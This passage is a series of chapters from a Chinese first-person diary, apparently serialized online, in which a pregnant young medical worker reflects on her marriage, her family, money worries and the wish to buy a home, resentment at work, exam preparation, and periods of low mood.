    到了工作的地方。就更糟糕了。因为有的病人生病，他们的情绪并不是快乐的。我出的事就更多了。所以我感觉自己很害怕和人接触，因为只要接触，就会感受到别人的负能量，而且很容易传递给我自己然后我自己会做一堆事情让我难受的的事情。那些事情是因为我刚才的状态很好，让我感觉对方不好的情绪很内疚，很想和对方一样，那样她就不伤心了。或者希望对方看到我那么惨，她会心里好受一些。总而言之，我感觉自己的状态特别的糟糕。我知道我并不是有恶意的，可是我的这种善意，对自己和对别人都有害。
    我希望我能改变我的认知吧！因为这个世界里我并不能让所有人都开心快乐。虽然我可能心里是希望他们开心快乐的。
    还有很多很多的纠结与难受，我现在的认知还有一点点不理解我自己，花时间或者到了时间我应该可以理解吧。我感觉我的脑壳真的是很神奇啊。

 第53章

    今天晚上睡不着。现在凌晨一点钟了。夜尿增多。怀孕的反应。真的是没有忍住喝了好多水，吃了好多瓜子。老公睡的很爽，我好生嫉妒。
    可是老公上班挺辛苦的，他晚上很晚才回来。然后我们晚上九点多才吃好晚饭。真的好辛苦啊！这世界上就没有一个不劳而获的事情。结婚也一样的。内心里面特别的纠结，既特别的希望老公会变得很富有，又特别的希望其实我们没有那么多钱。因为我害怕他有钱了会不要我了。今天他讲了一些事情。有点俗，就是一个开车司机，很有钱，住的起别墅，可是他没有老婆，然后他在讲很多的黄段子，然后讲哪里出现了??女之类的话。我不认同。然后还有一个故事就是其他的店里有一个军嫂的事，反正我听不太懂，事情的经过，总之不是什么好事。就是。
    我越变越俗了。其实很久以前的我很讨厌这样子的人。可是我渐渐的长成了这样子的人。果然你讨厌什么人就会成为什么样子的人。小时候是科学主义价值观，最讨厌迷信的人。长大后就迷信了。迷信的原因是因为一段过得不怎么样，需要一些奇奇怪怪的东西来解释自己为什么会这样子。从而让心情达到一种释怀。或者有的时候迷信可以让自己感觉到自己被家人所关爱，珍惜。一种情感上的联系与寄托。
    我认为老公讲这样子的话不好。可是讲这样子的话肯定是有原因的，因为他身边的环境是这样子。慢慢的我也会变成这个样子。因为一个环境就是一个泡菜坛子，我就像放进里面的菜，慢慢的会变得一摸一样。
    边看书边听。其实我的学习并不是很好。今年可能更不好了。因为我们家没有那个学习的环境。大家一回家都是扯各种蛋。不太关心这个东西。慢慢的我也会变成这样子。选择嫁人就是选择一种生活。我看了很多心理学的书籍，其实应该没有吸收到什么营养，大概能懂的就是:不要去试图改变自己家里人的想法，因为会造成反效果。所以我不准备改变我的老公。他就是个俗人，没办法高雅起来。而且工作那么累，也没有办法去维持这样子的情况，维持了太累了。让他吧！环境塑造人，而我是一个近朱者赤，近墨者黑的人，我慢慢的会被同化。因为我一直都是这个样子的。没有自己的性格，也不会坚持什么。这就是我的懦弱之处。随着环境变化而变化。就像云朵一样风一吹就变成了别的样子。
    我慢慢的学会欣赏家里人的优点了。虽然他们都是俗人。但是他们做事情非常的快速，有耐力。像家公老公还有家婆，都是这样子的。做事情从来不会拖拉。想要做什么事，比较的有自信心。如果是我的话，我会纠结很多事情，然后心里还一个劲的自卑，可是他们不会。这是他们的优点。
    多想学习啊！过一段时间就要考试了。还是希望自己考好一点。家公说他们家没有学神运。几乎都是学习不好的。可是老公曾经也是学习干部，而且是学的非常好的。所以我保持清醒。多看书吧！尽力而为。因为我当过倒数也当过顺数，我自己本来就是个普通人。以前要学会一个单词，都要重复个四十二遍，而且现在还是忘记了。我其实会看书会读书也是个普通人。我又没有比人家更高高在上，工资也不高。做的事也一般般，不算很优秀。所以我在这个家里仍然需要保持清醒。不被影响就好。他们聊他们的，我看我的，因为我的专业书，就算我看一辈子我都学不完。医学真的让人头秃，头秃都学不会。可是我想要学会。那就好好认真学习吧！好好执行。
    现在两点了。内心里有很多很多的想法。有的时候我在抱怨，有的时候又没有抱怨。
    我的生活只是平凡人芸芸众生之中渺小的一粒尘土一样，粗俗的与他人没有什么区别。虽然我很向往书生意气，挥斥方遒。可是再怎么样也不能实现了。就这样子吧！也许。
    实在是遗憾。
    之后我会生小孩子，我会变成很丑的样子，我会每天晚上给宝宝换尿裤，然后日渐憔悴，精力疲惫。其实每个女人的一生都是这个样子的。只是底层更累而已。以前在医院门口看到有的家属精力疲惫至极，穿的一般般，各种焦虑，我就对婚姻没有什么向往。我认为我的人生大概也就是这个样子的。虽然也有状态很好的女性妈妈，可是这毕竟是少数，而且与我的生活环境不太符合，也就没有什么期待。毕竟结婚还是需要撒泡尿好好照照自己，我又不是什么大美女，也没有身材好，也没有什么才华横溢，所以我配不上很好的人家。灰姑娘努力才有可能遇见王子，特别是最近看到了一个评论说舞会以后的灰姑娘那本书里，灰姑娘嫁给王子以后发现自己不适合王宫的生活，然后被关进了大牢，挖地道跑掉了。那么一个勇敢智慧的人都会选择这样子的结果，而我的话，嫁的好我吼不住，嫁的不好我也吼不住。其实嫁哪一个人都没有什么区别，老公啊，家庭啊这只是一个象征而已。内心里的一种意义。自己赋予它的。
    我并没有过得很好，可是我不太想抱怨。因为抱怨是在脑子里重复这种痛苦的感觉。保持冷静清醒吧！实在忍不住，就好好宣泄自己的嫉妒之心。毕竟我还可以写东西不是吗？不过我并不是一个德高望重的作者，我也是一个俗人，内心里一直对别人的人生充满着各种嫉妒恨，恶意满满的揣测别人的人生。我只是没有通过语言表达出来而已。还是不是一家人不进一家门。我对这样子的我自己感觉到无比恶心。可是又无可奈何。

 第54章

    希望自己上班带脑子！希望自己会越来越顺利吧！
    希望吧！
    明天上班！今天同事帮我上了！等我还完两天班，还欠一个男同事一天班！虽然他被调走了，可是一定要记住，万一他又上班了呢？还好他帮我上了班，我才有机会练操作！
    要记得！
    今天吃了好多杨梅是家里人做的，本来只打算吃三颗，结果一不小心吃了十多颗！酸东西确实好吃！
    又在外面吃的饭，过一个月就要搬家了，吃了就吃了吧！我又懒得自己做汤。怀了宝宝多喝一点猪肚汤对她会更好一点。吃了一点西瓜，按理来说应该七月份才会脚肿吧！我才四月多一点，可能五个月了吧！脚好痛，又没有做什么。果然怀宝宝根本不容易。
    看了微信里的文章。原来妈妈对宝宝其实是充满一种恨意的。这也就理解了我妈妈为什么会那么讨厌我的原因。而且父母的孩子看不见的恨和孩子对父母看不见的恨。其实也是有帮助的，可以保护孩子的心灵。为什么父母会恨自己的小孩子？因为带小孩子就像是仆人一样，而且是不求回报没有报酬的那种。所以就会产生藏起来的恨。而且没有办法维持自己的生活。所以有的父母就会很讨厌自己的孩子，可是这又是道德里面不可以存在的。就像不停地说教小孩子，有的时候没有必要的谩骂之类的。
    有一天我是否也会恨我的小孩子呢？比起我的孩子，我可能更恨我自己吧！因为什么动力都没有。执行力也是很一般。我需要自己好好的的做事。在宝宝没有生下来之前，可以实现自己的小目标。然后就是工作上班，围着孩子转了。现在的状态让我感觉自己很废柴。我怀疑自己能不能好好的过下去。什么都不想动。想散步没有去过。可能我内心里是不想散步吧！所以一点点时间都挤不出来。应该是这样子。对我自己没有好处的事我就一直在做，对我自己有利的事我就根本不想动。为什么？我会这样子呢？难道是我恨我自己。隐形的恨意。应该是吧！从我没有选择学习的时候开始就这样子了。其实我恨我自己，愤怒于我没有什么感情，也不太理解感情。然后我很讨厌自己没有喜欢的热爱的事情，好像这个世界里什么都没有办法让我心动，而我心里很喜欢的东西我就从来不去争取，花一点点时间和心思都不会，心里没有能量的感觉。很无奈啊！开心吗？不是很开心。人活着的意义是什么？对我来说。很久以前是希望自己可以成为一个优秀的人，成为一个对他人有帮助的人。可是我否定了自己，然后没有选择这样子的事作为一个目标。然后就没有然后了。很久以前还很想成为一个让妈妈开心的人，可是我没有办法给她带来开心，只有痛苦，我放弃了这个愿望。很久以前想帮一个人做一件事，因为在帮助别人的过程里我也能学到什么。可是我没有选择帮助她去做成那件事，因为我胆子小，我害怕人家其实不喜欢我，害怕我不小心会放很多屁会被嫌弃很臭，虽然其实很少有人当着我的面说希望你一边去。很想做一件小事，可是我做不了。
    我总在想做不成事情的样子。虽然我做成了知道会有受益，可是我没有选择这个。真的搞不懂为什么会这样子？为什么我总是在不经意间就负能量满满的？
    我又找不到我的手机了。我想好好找到我的手机听音乐休息一会儿。做一个轻松一点的梦，因为最近的梦境真的太可怕了，可能是因为我心里面压力太多了，排到了梦境里吧！

 第55章

    很想买房子。
    因为买房子有自己的家，可以过自己喜欢的生活。其实这只是一个想法而已。即使买了也不太可能会那么快就过自己想要的生活。装修还需要钱。我们并没有很多的底气去借钱。一穷二白。借了就必须还啊！有好几十万需要还。所以我最近感觉很累。其实工作都是一个样子，因为有了这个目标之后还有下一个目标，就像幼儿园升小学一年级一样。永无止境的事情。生命不息奋斗不止。
    生活里还有不少的坑。需要抵制诱惑。需要脑子清醒。需要提升自己的认知能力。然后还要节约用钱。光理财就需要二十年还是长期才能勉强过上稍微好一点的日子。而生活里我并没有精打细算。因为工作已经很累很累了。再省钱我就会感觉我自己是一个工具人活着没有意思，很想死一死。为了保住这条狗命，只能花钱消灾。自己只要一想要吃什么，赶紧去吃。因为如果忍住了，我会有哭不出来的难受。搞得我没有办法。记得在什么视频里看过一句话:现在的社会就是资本主义教会了年轻人除了花钱的本事还有，其余的本事几乎什么都没有。看到这句话的时候我突然明白我到底怎么了。我内心里一直都很希望自己能够成长起来，学会一个技能。爱好什么的。是非常精的那种。然后又有自己的工作，那么以后的生活里我就会感觉很幸福。在工作之余有了自己的爱好，那个爱好可以培养我的心灵。想象是很美好的，可是总是为了省钱而忽略这个需求，要么就是不舍的花钱，所以这个心愿一直都没有实现过。要么就是我的心理强度太大了，所以我就算花了钱去投资自己也不了了之。持之以恒坚持不懈，这句话那么简单，对我来说又那么难。不知道为什么会这样子？
    想要变得有钱，想用钱给买一个一百四十平的房子。想搞装修，自己喜欢的那种装修，以后的每一天看到自己的房子就会感觉很开心很幸福。
    想拥有阳台。租房子楼层高的时候太热了。楼层低的时候，没有阳台晒被子不好晒。有的时候我需要搬到很高的地方去晒，然后工作嘛就是这样子。要么会忘记，要么白天我还需要睡觉。有的时候天气很好，可是我并不想起床。然后休息日就没有晒被子，等我想晒的时候就下雨了。被套也是好久没有换了，一直想换，可是没有动过。洗东西真的很麻烦，希望祝进新房子里，可以用洗衣机好好洗。还有空调，从毕业上班到现在几乎没有用过空调，夏天有的时候会热死，有的时候吹电风扇又会冷死。总是搞得我很不舒服。可是租的房子又不敢装这个东西，怕弄坏了要赔钱。然后就一直没有去用过。
    我胆子很小。毕竟我是农村出来的，没有见过什么世面，虽然很多农村长大的孩子也有很出色的，做事很好的，可是这个和我没有什么关系。我的本性就是很听话，不会独立的自助思考，很多事情都是问别人，要一个答案。我知道自己满身的缺点。可是我想改过又没有改成。这种缺点就像刻在了我的骨子里灵魂里，失去了它我就存在了一样。既然没有办法改变，也没有办法拒绝它的存在，那么我就只能接受了。不是吗？
    以前喜欢的事物，只要我费尽心思，那么我就一定无法收获，只要我保持平静，无欲无求，它就存在于我的生命里。很神奇呢？这就是像小时候特别特别的想要一个小玩具妈妈从来不给我买，而我从来不闹的时候她就买给我了。就像很期待的礼物它一直都没有出现过，等我已经心灰意冷的时候，它就出现了。其实它出现的时候对我来说是已经过期的礼物，没有什么意义。可是有总比没有好，对吧！
    我希望我的学习和工作都顺利吧！
    我也讨厌996结婚了，才知道没有什么时间和自己家人在一起，是一件很辛苦的事，可是我需要的东西和想要的都是通过工作来实现的。只有工作才能让我有一种踏实的感觉。钱不是天上掉下来的。结了婚老公可能以后有钱了有可能会嫌弃我，生了小孩子，小孩子有了自己独立的生活有可能会嫌弃我，在家里当女儿的时候，就算成绩再优秀也因为不是男孩子而没有过多的资源投入。只有工作才是自己对自己的投资。虽然都很苦。但是没有什么东西是天上掉下来就给你的。好好工作吧！
    我向往买一个房子，有自己的衣帽间，有自己的书房，有一个我自己喜欢的厨房，有自己喜欢的阳台，阳台可以晒被子。我可以一个星期洗一次床单，有洗衣机，有冰箱。可以养养花。可以自己做饭。可以留一个房间给过来留宿的家里人睡觉休息。可以和家公家婆住一起。过年过节可以有亲戚朋友过来的时候。大家一起聊天。有东西看。就是这样子一个简单的愿望。应该需要四室一厅或者五室一厅。
    我需要好好做梦，白日梦做多了，工作会更有干劲，攒首付，还房贷。好好提升自己。
    梦想有属于自己的家。

 第56章

    今天知道了李子柒的故事。原来五分钟的视频需要花费那么多精力与时间。也难怪人家做的那么好了。羡慕。最近看到了一个之前并不很看好的up，居然涨粉了五万。我从几千的时候关注她的。好厉害啊！还有好多人讲过她的风格，因为这样也风格实在太多了，没有想到人家坚持下来了。也就半年到一年的时间吧！羡慕啊！
    好吧我一直都在羡慕别人，无论别人到底在做什么？
    今天刷了一千多道题，可是有的题目刷了好几十遍，还有有点搞不懂，不明白到底为什么。也许我需要去找一找答案了。那样才记得更牢。
    还是需要积极一点。天上真的不会掉馅饼的。好好努力吧！人家都是这么努力的。今天看了一个公众号发的一千年前的状元文。不错不错。里面文章写的非常好。尽人事，听天命。这是我一直信守的道理。有很多东西都真的是天时地利啊！真的靠运气。但是在运气不好的时候呢，也要保持积极向上，坚持本心，等到哪一天时来运转吧！那些看起来过得很好的人，他们曾经都过得一般般，甚至特别的惨。那个时候的他们也是才高八斗的，所以我看了这篇文章，心里面很舒服。和我的人生理念相合。
    今天看到了别人的工作方式，我认为很好。我需要学习一下。希望有所提高。
    最近睡的比较晚，看了一下黄历，今年属猪的确实是会睡的很晚。哎呀那就不抱怨了，反正这都是天定好了的。老公在玩游戏很晚，我在做题做的很晚。然后晚上又睡不着，白天请了同事帮我上班的时间，我居然拿来睡觉了，本来打算回娘家的，五一节，结果老公没有假，他一个月才两天假，然后这次过节也带不回我去，因为我怀孕了，家里人说我不能自己骑摩托车回，我娘家那边的路是比较山的那种。如果我单身的话，我就可以回，想什么时候回什么时候回，结婚怀孕了就不行不安全。
    所以我已经快半年没有回娘家了。真的第一次有对老公有抱怨。假特别的少，多了假，他就工资低，总之是没有什么两全的。然后买房子又要等很久。有点烦，还不如单身的日子好。想吃啥吃啥，想回家就回家。结婚真的很麻烦。然后脚抽筋了，从半夜里痛醒来。口味变得很怪，然后情绪变得很怪，精力变得很奇怪。一切都变得奇奇怪怪的。真的很不开心。
    可是我妈妈已经催我结婚很多年了。从十六岁催到了二十六岁，再不嫁也不是很开心，每次回家都特别的累。每次都会吵架，嫁掉了也好。总之眼不见心不烦。毕竟我是个女孩子，不嫁的话，给她带不来收益。平时讲的人情话那么多，其实也就是为了掩饰心里的冰冷逻辑。但是这样子对我们谁都好。
    不想去抱怨什么，毕竟我也不是什么很好的人，面对情况自己又不会去改变。只要我妈妈一激，我就是一个鬼样子。尽管在学校里学习了很多的文化素养，可是碰到了亲妈，没有两秒就变成了泼妇。学不到脑子里啊！这就是我自己也是我对我自己来说最失望的一点了。我真的很希望我能从内心里面成为一个比较有素养心境平和，处事不惊，能够稳稳当当的活下去的人。
    希望我能用一辈子去实现它吧！
    我的手机有点卡了。人家同款手机都用了五年。我真的不想换手机啊！最近老公给他妈妈买了手机给他爸爸买了手机，我再换一个手机。几个月的工资都是零了。他还要还债，大概还有六万左右。我真的有点想不通耶。没有钱没有房子也没有车子我怎么就结婚了。
    我在遇见老公猪之前，梦见了玉皇大帝和我说:你该要嫁了。我已经给你选择好了然后还盖了章。
    然后就相亲遇见了老公，本来不想去的，突然之间脑子里特别的很多顺利的念头，而且很足的念头。无论是各种条件不好，都能找到无数个角度看这个方面是好的。然后就嫁了。
    反正过得好，天赐良缘，过得不好天赐阴劫。人家的好缘分肯定不可能无缘无故就给你的，要是有那也是上辈子攒到了那么多福分。要是天赐阴劫那也没有办法。反正什么东西都是需要思考，动脑子，去领悟生活。说起来简单，做起来超级难。哎呀。
    结完了婚，老公人还是比较不错的，可是没有什么是十全十美的。没有什么是完美的，选择哪一个人生都有它好的一面，和不好的一面。我每次都在内心里好好的开导自己，因为事情已经成为了定居。懒得去想那么多。其实内心里还是很想去抱怨，为什么他不是公务员，如果他是公务员的话就有节假日了，那样我就能回娘家了。
    算了娘家也没有什么好回的，没感情，回去也只是发火而已。可是我还是想回。
    而且本来打算明年怀孕，生一个虎宝宝，而不是牛宝宝。可是我怀孕了。这个宝宝的命格和爸爸妈妈都相冲，容易发脾气。不知道是我对她发脾气，还是她对我发脾气。而虎宝宝会更好。猪和虎六合。几乎什么都合得来。可是老公不同意。他就是喜欢第一个小孩子。现在他又抱怨我对他没有感觉，和老夫老妻差不多，那还不是因为怀孕了，没怀孕还能享受激情岁月，怀孕了不敢乱来，而且我还拿了心理书给他看，让他看看人家一结婚就怀孕，然后生下来的孩子，还有老公的压力，以及家庭的压力一大堆。根本一个新婚小夫妻可以扛过去的，可是他就是不同意。就要这个孩子。其实我也舍不得。都给了例题给他看，还是抄错的答案。我能怎么办呢？而且我们都不是三十几岁的人，我们是二十五周岁的人啊！那么急。算了我不太懂，等以后他妈妈要帮我带小孩子。其实他妈妈也是和我相克的，表面上看起来很好，其实她藏起来的心情很不好。可是老公没有看见。还要和家婆相处。可是我也没有办法。真的是一切都需要靠自己动脑筋。我不想动，让她骂好了，很烦。我自己单身的时候，我时不时想死，我还想救一救我自己。会动一下手，现在结婚了，赶紧躺平。心如死灰啊！
    老公对买房子有压力，本来想推荐他看《小狗钱钱》，可是他一点也不敢兴趣，而且找了很多借口，说自己么有时间，打游戏就有时间。所以我也懒得讲什么。只是不太放心上那么简单而已。日子很差劲，内心里面有盼头还是能过得好的，可是我碰见的是一家子都不是很有盼头的人，吃穿用度其实比我好很多。又在一个劲的抱怨没有钱。不知道怎么讲，也许不用讲吧！和他们一起也挺好的，虽然一起玩会花很多钱，可是讲的多了人家会烦。如果他一不小心攒了很多钱，就是为了把我换掉，那还不如不讲。
    很多的三观其实都不合。我和他的观点不一样。后来我也懒得讲什么了。需要为难一个人去附和别人的想法其实是一件很累很累的事。需要我去附和他的想法也是我一件很累很累的事，这种感觉就是我们两个其实都是差不多的的小孩子，可是在一起结了婚而已。但是其实我们对家庭的概念不太懂，也不明白很多东西。彼此舒服就好了吧！毕竟余生那么长，天天吵架只为了让对方认同自己的想法，也挺无聊的。
    尽人事，听天命吧！反正当他是我老公的时候，我想会我选择喜欢他，哪怕他没有钱没有房没有车。当对方不需要了，那么我也可以选择好好离开。也许我会找过一个小房间，然后在一个地方上班，也许没有什么太多的收入，但是也能维持自己的生活。最近测过一个测试，说我这个人很像一个孤岛一样。对任何人都没有什么联系的感觉。也差不多是这样子吧！我对于家庭的的关联很差。也不太想关联过去，因为切断的时候会特别特别的痛苦不堪。已经不太想再去感受那种那种感觉了。

 第57章

    最近的oppo手机，越来越卡顿。怎么搞都没有用，老是会闪退。过段时间我就需要考试了。我只能选择我的旧手机用了。旧手机用了五年了，华为的，买了四千多。到现在也还好用。oppo的移动手机店搞活动用了六百多。可是我用习惯了oppo的手机。这个手机虽然很便宜，但是每次看到它现在都想着挣钱，而且很开心。华为的手机很久没有用来工作了，一点都不习惯。以前刷题我也是用华为的。刷的题也很高分，我发现不习惯了。真不好啊！
    真希望赶快适应我的华为手机。如果用oppo我怕它到时候掉链子。虽然我希望不会掉链子。真的为什么手机不能自己升级了，一定要买要换吗？真的好舍不得啊！用了两年的手机了。
    主要还是因为现在没有什么钱。县城又在开发5G网，我用的是5G的套餐手机却不是5G的。特别的可惜！不然现在我也不想买，毕竟别人的手机和我的型号一摸一样还用了五年。我到底为什么会卡顿呢？
    搞不懂啊！
    希望我的考试合格吧！
    希望我考好来吧！只能这样子了！
    其实我希望我每次都能努力的考到一百分！因为一百分我就有一百块钱奖励十二次的话就有一千二。而我的操作考的很烂，考一次扣六百，也就是说我今年考到全年理论满分，仍然需要扣钱。不过能够抵消两次操作不及格。所以我为了少扣钱，需要考一百分。
    不要怪医疗行业考试多，因为有的东西是争分夺秒的。能让大脑反射性的做出很优秀的事情都是不需要思考的那种，然后这需要不断的练习，没有哪一个人可以随随便便就可以的，要是碰到紧急情况，等我想得开，人都没有了。所以我不会埋怨考试多，我埋怨的是自己的心理素质问题。
    最近有听到了一些言论。我已经能用平常心去对待了。看问题不会认为对方错了，或者怎么样子。因为这是时间上的成长吧！所以这是一个很好的事。
    不过我还在纠结要不要告诉同伴，可是我认为不需要告诉她，因为她知道，人家当面讲过了。而我认为我的同事她肯定能够缓过来的，最近这几天她只是碰到了什么事情，状态不佳，因为平时的时候她的状态很不错。所以用平常心去看待。
    希望我的同事她可以缓过来，然后希望我的同事她考试顺利，执业医师通过吧！
    只能这样子祝福了。
    她给过我一些帮助。我也只能这样子想想。祝福吧！
    对待正在抱怨的同事也保持清醒。因为人家面对这样子的事情真的很烦躁，不说很难受。不去附和对方。因为对方只是在宣泄一种情绪并没有什么恶意。平时的时候大家都是很好的人。只是最近彼此的状态不佳，需要互相理解，互相帮助。所以保持清醒，然后工作上多多配合对方。让大家的工作都顺利。不给别人的班里添麻烦，也不让别人找麻烦。就是这样子。
    我的脑子不算特别的好使，他们认为我记忆力很好，其实么有，我只是一个普通人，我学习一个英语单词都需要四十二遍才记得住，而且过两天就忘记了。虽然前段时间我能考到一百分，那时因为我不断地重复的学习，不断的练习的结果，并不是因为我是一个天才，能干的人，而是因为我足够勤奋。我并不是一个学医的好材料，可是我入了这个行业就需要把它学到最好。因为我想对我自己负责，对我面对的人的负责。
    有的长辈说过，为人民服务其实是一件很麻烦的事，可是岗位在那里就需要好好的认真的对待，不管怎么麻烦。
    尽人事，听天命。
    昨天腿抽筋，凌晨一点多醒的，叫老公给我烧热水敷腿。最近看到的的帖子说有的孕妇孕期喝了二十多箱牛奶。然后有人担心会不会补钙太多了。我也在纠结，没有想到才断了两天奶，就抽了两天筋，怀孕也太奇怪了。问了医生，医生说我可以一天吃四次钙片。一起喝牛奶也没有关系。不过我的饮食也确实比较差，因为我最近不做饭了。家婆还在上班她也没有办法照顾我，然后我自己也不会照顾我自己，我妈妈她自己也要工作，没时间，所以几乎都是去店里面吃吃的最好的就是加一碗墨鱼猪肚汤！一天也就喝一碗，确实营养不够。家婆那里的话。有的时候会买墨鱼给我吃，然后妈妈那边会抓鸡过来，可是我不喜欢吃鸡肉。不知道为什么，鸡汤总感觉很难吃。吃了心情超级差然后鸡蛋吃了心情也超级差，总感觉有一股腥味。特别的恶心，还有很想哭。很奇怪的反应。
    买一些牛肉猪肉之类的，我又懒得去买，买了我也不做饭。最近不知道怎么回事，房间里的霉已经快要长满了。可是我一点也不想收拾。不知道什么情况。以前不会这样呀。垃圾也一点也不想扔，这可是顺手的事。很奇怪。为什么突然变得不太积极了呢？
    以前不积极的时候还会批评自己，不批评了，也不改了。
    我最近又发生了什么？真的很神奇。

 第58章

    今天
    凌晨并没有休息好！一晚上都很兴奋！因为吃了很多东西，消化了之后脑子就特别的开心！
    我兴奋什么呢？我感觉自己很生气！因为我的班不是在临床上班！临床的工作压力大，累。然后突然想起了上个月那个同事讲我的事，是的很久很久了，可是我还是一想到这件事就特别的生气。可是我又一直忍着，理智上会想他们因为压力大，工作累，才这样子讲的，可以原谅他们的言行。可是还是忍不住很生气。因为我并不是圣贤人。无法做到完美。的体谅别人的难处。毕竟他们的难处让我感觉很难。
    我真的很想骂他们。因为他们累，工资没有他们高，这是理所当然的。我们的工作不一样啊！以后我们这边的班都难上了。高铁，和预检分诊。以后可能会撤掉这样的防疫岗位。做好准备吧！
    我想骂人。很生气很生气的骂人。去宣泄我的情绪。虽然脑子里理智里都认为这不应该。可是我并不是一个圣贤人。我昨晚满脑子，都很想整他们一顿。很生气。可是现实里面我不会那么干。因为没有任何意义。特别的希望他们每次有这样子的想法可以做几天噩梦就行。毕竟我就是天天做噩梦的人。我也从来没有休息的很好啊！他们不容易是看得到的不容易。有的不容易是看不到的不容易。那我们要怎么证明自己在工作呢？脑力劳动，体力劳动都看得到，精神力的劳动者呢？是吧！看不到的。这玩意只会有天才知道你工作了还是没有工作。总之在别人的眼里你就是很清闲一个人。你就是什么事都没干。凭什么你那么闲呀？这个根本就像科幻小说一样。玄乎其玄。好想欺负他们回去一下可惜没有那个功能。等到我的内心熬不住再说吧！
    我好像一直表现的都没有什么七情六欲一样。这样子挺好的，这样子又有一点不好。因为我喜欢平和的心态，可是我又没有办法感受到我很气愤的情绪。可是我感受到了气愤的情绪，这种情绪并不能带给我什么用处，反而有害。所以我该怎么办呢？
    我需要放下我的情绪。可是我需要接纳它。为什么我会认为很气愤？因为我认为别人在说我没有上班。明明我们只是工作岗位不同，工作性质不同，然后工资也不同。这又没有什么好比较的，我们都不是同一种类别。
    还是他们临床工作者好啊！班上了很忙有眼睛都看得见。可是这只是一句感叹，并不是一句带有攻击性的话语！可是他们也对我说过类似的话！他们说还是我的工作岗位很好啊，都不用上晚班，后来我有了晚班，然后他们说还是我的工作岗位好啊！晚班都没有他们那么累。他们都需要写病历做治疗。。。。
    说白了不管怎么样？都是认为他们工作累别人工作不累。因为我在临床上班的时候也是这样子想的。所以希望我能考到编制来吧！看到来我也去临床上班！好好工作，有价值！我为什么那么累我也想要去呢？因为我认为我穷啊！虽然临床工作很累，但是工资可以让我在十年内攒到钱付首付，可以体力脑力劳动有工作报酬。如果我有他们的本事，我会特别的开心。因为我有能力，不用担心像我老了以后单位会不会换人，毕竟我的脑子不是很好使。看起来轻松至极的岗位精力其实花的也不少。我以前也认为这些岗位很清闲。可是我心里是看不起这样子的岗位的，所以也没有想过会在预检分诊呆那么久，没想到工作了我会呆那么久。主要还是心理问题。真的很希望自己可以好起来。因为好起来。可以有能力干很多事情，然后有了强大的工作经验，可以留在本院更稳！人家就不太可能随时换掉你。能力才是最好的饭碗。态度也很重要。可是我好像一个机器人，有的时候态度很好，可是不灵活，态度好。人家认为你不值得尊重，态度很急，人家会认为你不行。已经被搞出心情不好了，人家说你态度不行。说起来也是因为自身太过于机械设计。本来情绪是非常灵活的，可是为什么到了我这里如此机械化。这是我百思不得其解的事情。这也是我的毛病。态度很好，认错很快，可是错误会再一次犯，而且很难改掉。所以在我的潜意识，其实我的态度是不好的，可是我表达不出来，可是我的态度又是好的。可是我改不掉。为什么会改不掉呢？我感觉自己是一个心理病人，可是很难理解自己为什么病了。总之在临床上班。就会这样子。
    有能力有技术在哪里都能找到工作，这世界上很多工作都很累很麻烦。因为没有哪一份工作是轻松的，轻松的就没有多少工资。要不付出体力劳动，要不付出脑力劳动。都差不多吧！没有价值，根本没有工资。老板也是个打工仔，只是他打工的方式和其他人不一样而已。都是打工仔啊。为这个社会而工作。能力是什么就打什么样的工。拿什么工资。
    我从来不认为我在这样子的岗位会是轻松的。或者很喜欢或者不喜欢或者其他的情绪。因为年轻累一点，我能攒首付买房。年纪轻轻的就在轻松的岗位工作。这就很危险，等我老了，我有没有买房的价值？这个是长远的考虑。天上毕竟不会掉馅饼。我还是很希望我能好起来，心情也好，态度也好，什么都好，状态好起来，能去临床上班，就去临床上班，因为想要买房子。压力大工作累，没有哪一个岗位是轻松的，轻松都是表面的。
    好好学习，好好长进吧！
    好想休息啊！今天下午需要考试了。

 第59章

    最近的牢骚真的是太多了。我真的需要好好调整情绪，状态。不能负能量满满。我在努力的宣泄好像也没有什么用，反倒是越来越多的感觉。算了还是听音乐缓解一下！心情不好会做很多的噩梦。总之不要想那么多。退一步海阔天空。主要是如果生气有用的话，可以选择生气，可是生气并没有什么用，还让我感觉不到收获，那么还不如不选择生气。就那样子吧！所以好好加油，克服一下。
    很不舒服。又没有做什么事情，不知道为什么背特别的酸。然后今天的晚餐汤好咸。可是我没有讲什么。因为我又没有做饭。
    老公今天说我很喜欢他。我并没有这种感觉，反正尽人事，听天命。老天爷安排好了，我就走流程就可以了。然后我感觉他是个孩子一样。懒得管那么多，反正管多了不舒服。我只想好好过完这一生就好了。也许时间久了他会对我产生无聊，也许不会。反正懒得想那么多。
    最近家公在讲人家的退休工资很高。我没有怎么说话，毕竟人家能够拿退休工资，人家也干了很多很多年的活，说的是老师的。也许那些老教师在现在来说他们的文化水平其实很低，可是在当时开讲，有这样子待在山沟沟里的教书先生已经很不错了而且还干了四五十年，一直坚守这样子的岗位。很佩服，人家能拿退休工资高一点很正常。老公说他的工资不需要交税，因为他是私人单位，不是事业单位。我有点搞不懂。为什么他们私人的单位没有交税的。他说如果店里面需要交税的话，那么老板还需要给他几个百分点。所以他们不用。听不明白耶！个人所得税不是就是个人工资到了这个点就要交吗？我很希望他交税，因为我认为在这个国家里，能够交五块钱的税，这个国家都是我自己的感觉。不是别人的那种感觉。
    不过我老公也存不到什么钱。挣的钱基本上花出去了。让他，不和他纠结这个事。
    每个月抽烟，买饮料。各种开支好高啊！我真的认为他的日子坚持太奢侈了。可是其他人的生活方式不同吧！不可能找到一个和自己一摸一样的人相处。所以我懒得讲。花了就花了吧！花出去的钱交消费税。。。
    他喜欢就好。
    很多时候我很想催什么。可是我又认为不需要去催他。因为我有这个精力还不如用这个精力来催我自己。希望我事业有成吧！希望我能够攒到钱，我要买房。买房可能只是我一个人的愿望。他好像并不是很强烈。所以也就这样子了。看了心理书，里面有很多女性对待自己婚姻生活的处理方式，有的对我有一点点帮助。举个例子:结婚以后发现自己老公是个很没有上进心的人，然后不停的催他工作，结婚以后的的生活就水深火热，然后到了某一个年纪突然老婆就开窍了，自己创业，做事，然后做的风声起水有声有色。老公还是这个样子，生活比之前不停的催催催更舒服了。所以如果发现自己的老公并不是一个很有事业心的人，那么不要去催他吧！自己好好干，做大事。因为催他，也就意味着我自己心里很希望好一点，可是他是个享受生活的人，人的本性很难改。还是不用讲了。
    今天发现我的锅长毛了，前段时间的饭没有吃完，也没有洗锅。无语了。可是我还是不想收拾。我的问题就是不想收拾锅，两个锅都长毛了。为什么会那么消极呢？而且每隔一段时间就这样子。不太懂。算了好好记录一下吧！反正批评对我没有什么作用。
